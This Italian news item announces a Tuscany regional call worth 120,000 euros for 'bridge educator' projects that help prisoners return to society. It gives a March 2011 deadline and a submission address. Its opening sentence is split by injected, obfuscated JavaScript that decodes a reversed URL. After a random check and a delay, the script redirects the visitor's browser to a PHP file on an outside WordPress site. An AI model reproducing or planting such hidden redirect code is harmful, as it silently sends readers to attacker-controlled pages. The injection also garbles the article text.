120 mila euro per promuovere figure di raccordo tra carcere ed esterno

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FIRENZE – Un b (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando della Regione per complessivi 120 mila euro per promuovere progetti che prevedono l’istituzione o il mantenimento dei cosiddetti ”educatori-ponte”, ovvero quei soggetti destinati appunto a fornire un tramite tra il personale socio-educativo della struttura penitenziaria e quello socio-educativo del territorio (Comuni, Province e Zone). L’obiettivo è creare progetti di reinserimento sociale che accompagnino il detenuto dal carcere all’uscita con relativo reinserimento sociale sul territorio toscano o verso quello di ritorno (nazionale o estero). La somma massima disponibile per ciascun progetto è di 24 mila euro.

I progetti dovranno essere presentati, entro il 21 marzo 2011, a mezzo raccomandata AR, a:

Settore “Politiche per il Contrasto al Disagio Sociale”
c/o Regione Toscana – Assessorato al Welfare e alle Politiche per la Casa
Via di Novoli 26 – Palazzo A – 50127 Firenze
Sul frontespizio del plico dovrà essere riportata e ben evidenziata la dicitura:
Contiene domanda inerente “Bando per contributi regionali – Sostegno alle buone pratiche e alle politiche di rete educativa volta al sostegno sociale dei detenuti e dei detenuti neoscarcerati italiani e stranieri – COD.02 2010”.

Informazioni e bando completo consultabili sul sito dell’Urp della Regione

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